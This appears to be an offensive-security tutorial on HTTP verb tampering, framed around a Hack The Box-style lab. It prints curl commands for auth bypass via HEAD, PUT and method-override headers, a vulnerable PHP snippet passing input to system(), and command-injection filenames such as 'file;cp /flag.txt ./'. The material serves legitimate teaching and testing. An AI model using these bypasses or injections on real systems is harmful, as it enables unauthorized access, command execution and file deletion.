HTTP verb tampering
HTTP supports nine verbs (GET, POST, HEAD, PUT, DELETE, OPTIONS, PATCH, TRACE, CONNECT). When an app’s auth requirement or input filter is scoped to specific verbs but the underlying handler accepts more, swap the verb to bypass:
# 1. Probe what verbs the server acceptscurl -i -X OPTIONS http://target/admin/# Allow: POST,OPTIONS,HEAD,GET ← HEAD reachable
# 2. Bypass auth scoped to GET/POST by using HEAD (or PUT, DELETE, etc.)curl -i -X HEAD 'http://target/admin/reset.php?confirm=yes'# Handler runs; no auth check; no response body (HEAD returns headers only)
# 3. Bypass an input filter that checks only $_POST when the sink uses $_REQUESTcurl 'http://target/create?filename=file;cp%20/flag.txt%20./'# GET parameter slips past the POST-only filterSuccess indicator: the protected action’s effect happens (file deleted/created, password changed, etc.) without supplying credentials - or a malicious payload is processed despite a filter being “in place.”
Two distinct patterns under one name
Section titled “Two distinct patterns under one name”The OWASP “HTTP Verb Tampering” label covers two mechanically different mistakes. Knowing which one you’re attacking decides which payload works.
| Pattern | Root cause | Where it lives | Typical bypass |
|---|---|---|---|
| Auth scoped to specific verbs | Apache <Limit GET POST>, Tomcat <http-method>, IIS verbs="GET" - the auth directive only applies to listed methods | Server config (.htaccess, web.xml, web.config) | Request with an unlisted verb (HEAD, OPTIONS, PUT) |
| Filter checks one source, sink uses another | preg_match($pattern, $_POST['x']) to validate, then system($_REQUEST['x']) to use | Application code | Move the value to a request component the filter doesn’t inspect (GET ↔ POST, header, cookie) |
The first pattern is loud - auth simply doesn’t fire. The second is subtle - the filter is intact and active, but the input bypasses it via a different channel.
Pattern 1 - Authentication scoped to specific verbs
Section titled “Pattern 1 - Authentication scoped to specific verbs”The vulnerability
Section titled “The vulnerability”An Apache .htaccess or vhost stanza:
<Directory "/var/www/html/admin"> AuthType Basic AuthName "Admin Panel" AuthUserFile /etc/apache2/.htpasswd <Limit GET POST> Require valid-user </Limit></Directory>The <Limit GET POST> block restricts the Require valid-user directive to just GET and POST. Other verbs reach the handler with no auth check at all.
Equivalent Tomcat web.xml:
<security-constraint> <web-resource-collection> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint>Equivalent ASP.NET web.config:
<system.web> <authorization> <allow verbs="GET,POST" roles="admin"/> <deny verbs="GET,POST" users="*"/> </authorization></system.web>In every case, the auth/authorization directive enumerates verbs. Verbs not enumerated bypass entirely.
Identifying the attack surface
Section titled “Identifying the attack surface”When a page returns 401 Unauthorized on direct access, that’s where to test:
$ curl -i http://target/admin/reset.phpHTTP/1.1 401 UnauthorizedWWW-Authenticate: Basic realm="Admin Panel"Without credentials, probe what the server lets you send via OPTIONS:
$ curl -i -X OPTIONS http://target/admin/HTTP/1.1 200 OKAllow: POST,OPTIONS,HEAD,GETThe Allow: header lists usable verbs. Note that some servers return verbs the server supports without checking whether the application handles them - both matter. HEAD is the most common bypass target because nearly every server accepts HEAD and most apps treat HEAD identically to GET (the handler runs; only the response body is suppressed).
Exploiting via HEAD
Section titled “Exploiting via HEAD”# What you can't do as an anonymous user:$ curl -i -X GET http://target/admin/reset.phpHTTP/1.1 401 Unauthorized
# What you can:$ curl -i -X HEAD http://target/admin/reset.phpHTTP/1.1 200 OKContent-Type: text/htmlContent-Length: 0The HEAD returns 200 with no body. The server didn’t run the auth check (because HEAD wasn’t in <Limit GET POST>), passed the request to the application, and the application processed the action - reset.php deleted all files. The lack of response body is fine; the side effect is the goal.
For verbs that send a body (PUT, POST, PATCH), the bypass works the same way provided the server allows the verb:
$ curl -i -X PUT http://target/admin/reset.php -d 'confirm=yes'HTTP/1.1 200 OKWhen HEAD doesn’t work
Section titled “When HEAD doesn’t work”Some servers (and modern frameworks) explicitly map HEAD to GET for auth purposes - the auth check fires on HEAD even if <Limit> only lists GET. In that case, try the other verbs:
for verb in HEAD OPTIONS PUT DELETE PATCH TRACE CONNECT PROPFIND MKCOL COPY MOVE LOCK UNLOCK; do code=$(curl -s -o /dev/null -w '%{http_code}' -X "$verb" http://target/admin/reset.php) echo "$verb: $code"doneEach 200/30x/5xx is interesting; each 401 means the auth check fired. The WebDAV verbs (PROPFIND, MKCOL, COPY, etc.) catch some IIS misconfigurations that miss them entirely.
Burp Repeater workflow
Section titled “Burp Repeater workflow”In Burp:
- Send the 401-responding request to Repeater
- Right-click in the request panel → “Change request method” - Burp cycles through methods, automatically adding
Content-TypeandContent-Lengthheaders when switching to POST/PUT/PATCH - Send; observe the response
The “Change request method” feature is the right form here because manually editing the verb often forgets that POST needs a body and the right Content-Type header - and missing those produces 400 responses that look like auth failures but aren’t.
Pattern 2 - Filter checks one source, sink uses another
Section titled “Pattern 2 - Filter checks one source, sink uses another”The vulnerability
Section titled “The vulnerability”if (isset($_REQUEST['filename'])) { if (!preg_match('/[^A-Za-z0-9. _-]/', $_POST['filename'])) { system("touch " . $_REQUEST['filename']); } else { echo "Malicious Request Denied!"; }}Walk through what each line does:
- Line 1:
$_REQUEST['filename']- checks if a filename param exists in any of GET/POST/COOKIE - Line 2: filter runs against
$_POST['filename']- looks at only POST - Line 3:
system()uses$_REQUEST['filename']- back to any of GET/POST/COOKIE
The mismatch: the validator inspects POST, but the dangerous sink consumes any source. Sending the malicious value via GET means $_POST['filename'] is empty (clean), the regex passes, and $_REQUEST['filename'] (which sees GET) reaches system() with the unsanitized input.
Identifying the surface
Section titled “Identifying the surface”Pattern 2 is subtle in a black-box test because the filter genuinely works for the input you usually send. You only see it when you happen to switch verbs and notice the filter stopped firing.
Indicators:
- A form posts to an endpoint. POSTing malicious content blocks. The same endpoint accessed via GET (just adding the form data as query parameters) doesn’t block.
- An error message appears for some inputs but not others, and the difference correlates with HTTP method rather than content.
- An endpoint advertised as POST-only handles GET requests just fine when probed.
Exploiting
Section titled “Exploiting”The original (blocked) attempt:
POST /create.php HTTP/1.1Host: targetContent-Type: application/x-www-form-urlencodedContent-Length: 25
filename=file;%20touch%20pwnResponse: Malicious Request Denied!
The bypass - move the parameter to the query string:
$ curl 'http://target/create.php?filename=file;%20touch%20pwn'The PHP filter looks at $_POST['filename'] (empty), regex passes, $_REQUEST['filename'] (which sees the GET parameter) flows into system() - command injection achieved.
For HTB-style scenarios that want both a benign file and an injected command:
filename=file;%20cp%20/flag.txt%20./After the request, flag.txt appears in the web root.
Burp’s “Change Request Method”
Section titled “Burp’s “Change Request Method””The cleanest way is in Burp:
- Intercept the blocked POST
- Right-click → Change request method → POST flips to GET; body parameters move to the query string
- Forward
Burp handles the format conversion correctly. Doing it manually means remembering to URL-encode the value, drop Content-Type/Length headers, and reformat the request line.
Variants of the same bug
Section titled “Variants of the same bug”The same mistake appears in other languages:
| Language | Validates only on… | Sink uses… |
|---|---|---|
| PHP | $_POST, $_GET, $_COOKIE | $_REQUEST |
| Java (Servlet) | request.getParameterValues() on form data | request.getParameter() (any source) |
| Node.js (Express) | req.body.x | req.query.x || req.body.x |
| ASP.NET | Request.Form["x"] | Request["x"] (any source) |
| Rails | params.permit(...) filtered out of params[:body] | params[:x] (still includes query) |
The pattern generalizes to non-verb-based source confusion too - cookie-based override of a header check, header-based override of a body check, multipart-vs-form-encoded confusion. Anywhere the validator looks at one source and the sink looks at a broader set, the bypass is to move the value.
A combined-pattern walkthrough
Section titled “A combined-pattern walkthrough”The HTB-style scenario combines both patterns and is worth tracing.
The app is a File Manager with two protected operations:
POST /create.phpacceptsfilenameand runstouch $filenameGET /admin/reset.phprequires Basic Auth and deletes all files
Operator path:
# Step 1: Confirm the auth scope$ curl -i http://target/admin/reset.phpHTTP/1.1 401 UnauthorizedWWW-Authenticate: Basic realm="Admin Panel"
# Step 2: Probe allowed verbs$ curl -i -X OPTIONS http://target/Allow: POST,OPTIONS,HEAD,GET
# Step 3: Auth bypass via HEAD$ curl -i -X HEAD http://target/admin/reset.phpHTTP/1.1 200 OK# (All files now deleted)
# Step 4: For the injection-filter bypass, the original POST gets blocked$ curl -X POST http://target/create.php -d 'filename=file;touch%20pwn'Malicious Request Denied!
# Step 5: GET bypasses the filter$ curl 'http://target/create.php?filename=file;%20touch%20pwn'# (Both 'file' and 'pwn' files created)
# Step 6: Combine - read /flag via the GET injection$ curl 'http://target/create.php?filename=file;%20cp%20/flag.txt%20./'# Flag now in web root, fetch it$ curl http://target/flag.txtHTB{...}Two different verb-tampering bugs in one app. Each enables a separate primitive; chained, they yield arbitrary file read.
Edge cases worth knowing
Section titled “Edge cases worth knowing”HTTP method override headers
Section titled “HTTP method override headers”Some apps respect X-HTTP-Method-Override, X-HTTP-Method, or X-Method-Override headers for legacy or REST-API reasons:
curl -X POST http://target/admin/reset.php \ -H 'X-HTTP-Method-Override: GET'The actual request is POST (avoiding the GET-auth check) but the app routes it as GET (executing the action). Rails, Symfony, Spring, and some Express middlewares enable this by default. Worth probing on any app that fails the simple HEAD bypass.
Method-as-body-parameter
Section titled “Method-as-body-parameter”Same idea, different vehicle. Some frameworks accept the method via a body parameter:
POST /admin/reset.php HTTP/1.1Content-Type: application/x-www-form-urlencoded
_method=DELETEThis is Rails’s _method convention. The request line is POST (so the server-level auth scoping on DELETE doesn’t fire) but Rails treats the request as DELETE downstream.
TRACE for header reflection
Section titled “TRACE for header reflection”TRACE echoes the request back. Where allowed, that reflects cookies set by intermediate proxies - relevant for some XST (Cross-Site Tracing) attacks against HttpOnly cookies. Most servers disable TRACE for this reason; if a target permits it, that itself is a finding.
Verb tampering vs HTTP request smuggling
Section titled “Verb tampering vs HTTP request smuggling”Adjacent technique with the same family resemblance. Smuggling exploits inconsistencies between a frontend proxy and backend server in how request boundaries are parsed. Verb tampering exploits inconsistencies in how a single component parses the verb. Both rely on “two parsers disagree” but at different layers.
Defensive notes
Section titled “Defensive notes”For each pattern, the fix tells you what to look for as an attacker:
| Pattern | Operator-side observation |
|---|---|
<Limit GET POST> | Look for <Limit> directives (Apache), enumerated <http-method> (Tomcat), or verbs="GET" (IIS) in any leaked config - they signal scoping mistakes |
<LimitExcept> (correct form) | This is the secure directive; if you see it, the bypass via alternate verbs is closed |
Allow: lists in OPTIONS responses | If Allow: lists fewer verbs than you’d expect, the server is rejecting at the HTTP layer - bypass paths are narrower |
| Method override headers | Servers that respect X-HTTP-Method-Override may be patched at the framework level but not at the application level (or vice versa) - try both layers |
Quick reference
Section titled “Quick reference”| Task | Command / pattern |
|---|---|
| Probe allowed verbs | curl -i -X OPTIONS http://target/path/ |
| Auth bypass via HEAD | curl -i -X HEAD http://target/protected/action |
| Auth bypass via OPTIONS | curl -i -X OPTIONS http://target/protected/action |
| Auth bypass via PUT/DELETE | curl -i -X PUT http://target/path -d 'data' |
| Filter bypass POST → GET | Move body params to query string |
| Burp method swap | Right-click request → Change request method |
| Method override header | -H 'X-HTTP-Method-Override: DELETE' |
| Method override body param | _method=DELETE (Rails / some Express) |
| Iterate every verb | Loop over HEAD OPTIONS PUT DELETE PATCH TRACE PROPFIND MKCOL COPY MOVE LOCK UNLOCK |
| Vulnerable Apache directive | <Limit GET POST>...<Require>...</Limit> |
| Vulnerable Tomcat directive | <http-method>GET</http-method> in <security-constraint> |
| Vulnerable IIS directive | <allow verbs="GET" roles="..."/> in <authorization> |
| Vulnerable PHP filter pattern | filter checks $_POST['x'], sink uses $_REQUEST['x'] |
| Bypass via cookie source | Same pattern - value in Cookie reaches $_REQUEST but bypasses $_POST check |
For the related cookie-attribute attacks see Cookie tampering. For session-fixation patterns that often appear alongside misconfigured auth see Session fixation.